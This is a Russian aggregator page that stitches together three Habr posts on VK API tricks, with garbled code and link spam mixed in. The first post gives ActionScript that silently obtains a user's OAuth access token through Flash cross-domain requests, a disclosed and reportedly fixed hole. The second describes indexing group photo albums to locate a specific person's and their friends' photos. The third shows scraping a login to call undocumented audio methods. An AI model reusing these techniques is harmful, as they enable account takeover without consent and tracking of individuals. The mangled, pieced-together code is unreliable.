Скрытые методы vk api

Данная уязвимость была найдена мною порядка двух месяцев назад, или даже больше.
Тогда информация была отправлена разработчикам, и они успешно её фиксанули.
Как мне на тот момент показалось.

Вскоре стало понятно, что они её вовсе не пофиксили, а просто ограничили доступ к сообщениям, на которые я в тот раз обратил внимание разработчиков.

Процесс получения доступа, я постараюсь достаточно подробно описать под катом.

Поиск

Собственно мысль, что возможно получить доступ к апи без ведома пользователя, появилась почти сразу, как только я начал работать с методами для Standalone приложений.
В тот момент ВКонтакте уже использовали oauth авторизацию.

Ничего особо хитроумного не было, просто oauth авторизация находилась на одном домене с апи 2.0, а соответственно, и с файлом crossdomain.xml, который позволяет выполнять запросы с любого сервера.

Не долго думая, я начал писать реализацию.

Использование

  • Мой способ может показаться немного странным.
  • Мой код весьма быдловат, но, к сожалению, по другому не умею.

Мой коварный хитрый план подразумевал, что пользователь будет направлен на flash приложение, которое сгетит страницу авторизации, а затем спарсит ссылку для авторизации.

VK API #2 Wall post/edit/delete

Пункт первый — flash приложение.

По скольку флешки могут выполнять свободные кроссдоменные запросы всюду, где есть подобающий crossdomain.xml — это был единственный способ аккуратно получить ссылку на авторизацию.

Код флешки незамысловат, и, пожалуй, это самая сложная часть, по крайней мере для меня, т.к. ActionScript я практически не знаю.

import flash.net.URLLoader; import flash.net.URLRequest; import flash.events.Event; var auth_page = new URLLoader(); this.addEventListener( Event.ADDED_TO_STAGE, onAddedToStage ); function onAddedToStage(e: Event): void < auth_page.addEventListener(Event.COMPLETE, auth_load); //Получаем страницу авторизации auth_page.load(new URLRequest(‘http://api.vkontakte.ru/oauth/authorize?client_id=2725857redirect_uri=http://api.vk.com/blank.htmlresponse_type=token’)); >function auth_load(e:Event):void < var wrapper: Object = Object(parent.parent); var auth_str = auth_page.data; trace(); //редиректим пользователя на iframe приложение, а в хеше указываем отпарсеный урл wrapper.external.navigateToURL(new URLRequest(‘http://vkontakte.ru/app2725881#’+auth_str.toString().substr(auth_str.indexOf(«location.href»)+17, 162))); >

Еще по теме:  Какое название для группы можно придумать для ВК

Тут есть одна маленькая хитрость.
Просто так flash приложение редиректить не может, из-за политик безопасности браузеров.
Но у ВК есть, точнее был, сейчас его убрали из доков, специальный метод для перенаправления пользователя на страницу внутри ВКонтакте.
Особой проблемой это не стало, впрочем, т.к. имеются iframe приложения, которые могут перенаправлять куда захотят.

Пункт второй — iframe приложение.

В iframe приложении нам необходимо перенаправить пользователя на указанный url, сделав пару замен.

Vk api обзор метода wall.get на примере.

На этом можно и закончить.
На странице hi.php мы получаем access_token, с правами на все методы кроме сообщений.

Наглядный пример, вы можете увидеть тут.
Спасибо за внимание.
UPD:
Фикс произведен, при том весьма шустро.
Пример уже не действителен.

  • Информационная безопасность
  • Социальные сети и сообщества

Источник: habr.com

Скрытые возможности VK.API или ищем приватные фото ВКонтакте

ВКонтакте существует множество пабликов, таких как: 90-60-90, 40 КГ, Спортивные девушки. В данных пабликах пользователи выкладывают фотографии своих фигур, фотографии «до» и «после» диеты / занятия спортом и прочее. Общее количество фотографий в альбомах этих групп порой превышает десятки тысяч. Выкладывая фотографии, многие не задумываются о последствиях, наивно пологая что если кинуть свою фотку в тысячи подобных, то никто ее и не найдет. Под катом описан процесс поиска фотографий конкретного пользователя в группах.

Постановка задачи
  1. uid — ID пользователя ВКонтакте
  2. gid — ID группы ВКонтакте
  1. Найти все фотографии пользователя uid, опубликованных в группе gid
  2. Определить в каком альбоме находится каждая фотография
API ВКонтакте

В контакте отсутствует метод прямого получения фотографий, опубликованных конкретным пользователем в конкретной группе. Однако, добиться нужного результата можно по следующей схеме:
1. Получаем список альбомов, используя метод photos.getAlbums:

Еще по теме:  В каких группах состоит человек ВК

VK.api(«photos.getAlbums», < gid: gid >, function(result)< if (result.response)< // Список альбомов лежит в массиве result.response // Идентификатор альбома находится в поле aid >else < // Не удалось получить список альбомов >>);

2. Получаем список фотографий, находящихся в альбоме (aid), используя метод photos.get:

VK.api(«photos.get», < gid: gid, aid: aid >, function(result)< if (result.response)< // Список фотографий лежит в массиве result.response // ID владельца фотографии содержится в поле owner_id // ID фотографии содержится в поле pid >else < // Не удалось получить список фотографий в альбоме >>);

3. Получаем URL фотографии, используя метод photos.getById

VK.api(«photos.getById», < photos: pids >, function(result) < if(result.response)< for(var i=0; i> >);

Как ускорить поиск?

Перебирать все группы довольно длительный процесс и запускать его каждый раз при поиске фотографии конкретного человека дело не целесообразно. Для ускорения поиска достаточно проиндексировать все фотографии путем добавления индекса во внутреннюю таблицу.
В таблице достаточно содержать 3 поля:

  • uid — ID пользователя
  • gid — ID группы
  • pid — ID фотографии

После индексации групп, достаточно выполнить запрос

SELECT * FROM table WHERE uid = uid

И обращаться к API с целью получения ссылки на фотографию.

Поиск фотографий друзей

Используя метод friends.get, можно получить список друзей, а затем произвести поиск по БД с целью получения фотографий друзей:

VK.api(‘friends.get’, < user_id: uid >, function(result) < if(result.response)< // Далее производим поиск фотографий по ID друзей >>);

Ссылки
  • Сайт для поиска фотографий: photovk.ru
  • Приложение ВКонтакте для поиска фотографий: vk.com/app4262126

Источник: savepearlharbor.com

Как вызывать методы audio vk

А дальше мне пришла мысль, что если внутри этого метода можно вызывать методы, которые в официальном API вызывать нельзя, то наверное, можно вызвать метод audio.get.

Еще по теме:  Если всплывает окно Вконтакте

Результат

return API.audio.get(<>);

Так же прекрасно работают метод audio.add .

Результат

var owner_id = 1234567; var API.audio.add ();
Результат

var q = «imagine dragons»; var API.audio.search()
Результат

var owner_id = 302808715; var (< «owner_id»:owner_id >)[«items»][0][«id»]; return API.audio.getById ();

НО! когда я начал обращаться к официальному API, То в пришедшем ответе ссылки не было:

Немного потупив, я залез в network и стал смотреть, куда посылается запрос.


Дальше, с помощью модуля requests.Session я авторизовался и послал POST запрос на сайт

https://vk.com/dev/execute?params[code]=API.audio.get(); ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36’, ‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8’, ‘Accept-Language’:’ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3′, ‘Accept-Encoding’:’gzip, deflate’, ‘Connection’:’keep-alive’, ‘DNT’:’1′>session = requests.session() data = session.get(url, headers=headers) page = lxml.html.fromstring(data.content) form = page.forms[0] form.fields[’email’] = login form.fields[‘pass’] = password response = session.post(form.action, data=form.form_values()) if ‘onLoginDone’ in response.text: self.session = session else: raise PermissionError(«login or password is wrong») self.hash = hashe(self.session) def code(self,code): q = self.session.post( «https://vk.com/dev/execute?params[code]=»+code+», data=,headers = ) audio = json.loads(q.text[38:len(q.text)]) if «response» in audio: return audio[«response»] else: return audio def get(self,owner_id= None,album_id =None,NeedUser =False ): code_response = «» if owner_id: code_response += «owner_id:»+str(owner_id) if album_id: code_response += «,album_id:»+str(album_id) if NeedUser: code_response += «,NeedUser:1» q = code_response.lstrip(«,») code = r’return API.audio.get();’ return self.code(code) def search(self,q=’imagine dragons’,owner_id=None,offset=0,PerformerOnly=False,): code_response = «» code_response+=’q:»»‘.format(q=q) if owner_id: code_response += «,owner_id:»+str(owner_id) if PerformerOnly: code_response += «,PerformerOnly:1» if offset!=0: if str(offset).isdsgst(): code_response += «,NeedUser:1» else: raise NameError(«offset has to be an digit») code_response = code_response.lstrip(«,») code = r’return API.audio.search();’ return self.code(code) def add(self,owner_id=1234567,audio_id=456239029): code_response = «» code_response += «owner_id:,audio_id:».format(owner_id=str(owner_id),audio_id=str(audio_id)) code = r’return API.audio.add();’ return self.code(code) def hashe(session): qw = session.get(«https://vk.com/dev/execute»).text return re.findall(‘onclick=»Dev.methodRun(‘(.+)’, this);»‘,qw)[0]

Его можно вызывать так:

import bot_vk#pip install bot_vk audio = bot_vk.audio(«my_login»,»my_password») get = audio.get(owner_id=1234567) count = get[«count»] items= get[«items»]

P.S. К сожалению «лавоку» прикрыли, так что этот способ больше недействительный(
P.P.S. Появился другой метод для получения музыки: habr.com/post/429942

Источник: habr.com

Рейтинг
( Пока оценок нет )
Загрузка ...